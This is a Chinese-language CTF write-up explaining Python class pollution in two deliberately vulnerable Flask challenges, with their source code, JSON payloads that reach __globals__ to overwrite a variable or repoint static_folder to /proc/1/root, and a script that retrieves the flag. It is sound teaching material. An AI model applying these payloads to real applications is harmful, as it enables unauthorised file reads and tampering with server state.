[TOC]
前两天在打几场新生赛练手的时候,遇到了两三道关于python原型链污染的基础题,发现这方面知识点还是匮乏,所以以这两道题目为例来顺便学习一下,补充基础漏洞的学习.
示例题目 题目1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from flask import Flask,request,render_templateimport jsonapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) def is_json (data ): try : json.loads(data) return True except ValueError: return False class cls (): def __init__ (self ): pass instance = cls() cat = "where is the flag?" dog = "how to get the flag?" @app.route('/' , methods=['GET' , 'POST' ] ) def index (): return render_template('index.html' ) @app.route('/flag' , methods=['GET' , 'POST' ] ) def flag (): with open ('/flag' ,'r' ) as f: flag = f.read().strip() if cat == dog: return flag else : return cat + " " + dog @app.route('/src' , methods=['GET' , 'POST' ] ) def src (): return open (__file__, encoding="utf-8" ).read() @app.route('/pollute' , methods=['GET' , 'POST' ] ) def Pollution (): if request.is_json: merge(json.loads(request.data),instance) else : return "fail" return "success" if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=5000 )
题目2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from flask import Flask, request, render_templateimport json, osapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class Dst (): def __init__ (self ): pass Game0x = Dst() @app.route('/' , methods=['POST' , 'GET' ] ) def index (): if request.data: merge(json.loads(request.data), Game0x) return render_template('index.html' , Game0x=Game0x) @app.route('/<path:path>' ) def render_page (path ): if not os.path.exists('templates/' + path): return 'Not Found' , 404 return render_template(path) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=9000 )
大概看一眼我们就会发现,其实这类题目最重要的其实是merge(src, dst)函数.所以我们单独拿出来分析理解一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)
总的来说,这个函数通过递归来合并src,dst两个字典.
我们先来看第一题,题目中得到flag的条件如下:
1 2 3 4 5 6 7 8 9 10 11 cat = "where is the flag?" dog = "how to get the flag?" @app.route('/flag' , methods=['GET' , 'POST' ] ) def flag (): with open ('/flag' ,'r' ) as f: flag = f.read().strip() if cat == dog: return flag else : return cat + " " + dog
如此可见我们只要让我们的cat字符串等于dog字符串即可得到flag.
思路 怎么改呢? 这就要用到刚刚讲到的merge函数了.merge函数在主路由中被调用,我们只需要传参特定的json格式的数据,该数据会和Dst()类的实例进行merge,进而改掉dog字符串的值.再之后我们访问/flag路由就会返回flag字符串.
如何找到修改的变量?(题目1思路&步骤) demo:
1 2 3 4 5 6 7 8 9 10 11 class Cls (): def __init__ (self ): pass cls = Cls() cat = "Mow" dog = "Woof" print (cls.__class__.__init__.__globals__)''' {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000002BAD2EC4A90>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'd:\\OneDrive\\Desktop\\1.py', '__cached__': None, 'Cls': <class '__main__.Cls'>, 'cls': <__main__.Cls object at 0x000002BAD2F0BFD0>, 'cat': 'Mow', 'dog': 'Woof'} '''
这里的返回结果可以看到有我们在global frame中定义的所有变量,包括了cat和dog.这是为什么呢?
原理:
我们来仔细看看这个继承链: cls.__class__.__init__.__globals__
cls 是我们定义的一个Cls类的实例;
cls.__class__则表示它的类,也就是Cls();
cls.__class__.__init__ 观察类,我们发现他有一个__init__类函数,当然这里也就自然是指它了;
cls.__class__.__init__.__globals__至于__global__则是指global frame ,会返回__init__所在全局的变量,而自然其中就会有我们在global命名空间中定义的cat和dog变量了.
到了这里我们就会发现,目前的返回值是一个字典,那我们就可以直接拿到它的变量值,并进行修改.
现在我们回到题目来看:
instance.__class__.__init__.__globals__["dog"]这样就会获取到dog的值,然后将他改为cat的值.
相应的json数据如下:
1 2 3 4 5 6 7 8 9 { "__class__" : { "__init__" : { "__globals__" : { "dog" : "where is the flag?" } } } }
发送到/pollute污染路由之后我们访问/flag路由即可看到:
题目2思路
我们已经明白其中的原理了,那么也就可以以不变应万变,万变的是题目,而不变的是我们能够灵活引用的根基.
同样有merge函数和更改路径,但是要改什么呢?打开环境往下看,
这道题访问/flag路由的提示说是:flag 其实就在 /flag 里,但是为什么拿不到呢?
推测是/flag指的是后端服务器上的根目录下的文件.
那要怎么拿到呢?
这里要提到一个豆知识 :**在flask应用中全局变量中的app变量是指 Flask 应用实例 app.**他有一个static_folder属性(静态文件根目录),默认值是/static,假如我们把/static路由映射到root进程的根目录/proc/1/root下,那么我们就可已通过访问/static/flag,访问到物理地址的/flag了.
题目2做题步骤
构造json
1 2 3 4 5 6 7 8 9 10 11 { "__class__" : { "__init__" : { "__globals__" : { "app" : { "static_folder" : "/proc/1/root" } } } } }
向主路由发送json数据之后访问/static/flag得到flag.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsbase_url = "http://nc1.ctfplus.cn:32196/" json_data = { "__class__" : { "__init__" : { "__globals__" : { "app" : { "static_folder" : "/proc/1/root" } } } } } requests.post(base_url, json=json_data) req = requests.get(base_url + "static/flag" ) print (req.text)''' 0xGame{Welcome_to_Easy_Pollute~} '''
参考:
正规子群 • 0xGame 2025 Week1 WriteUp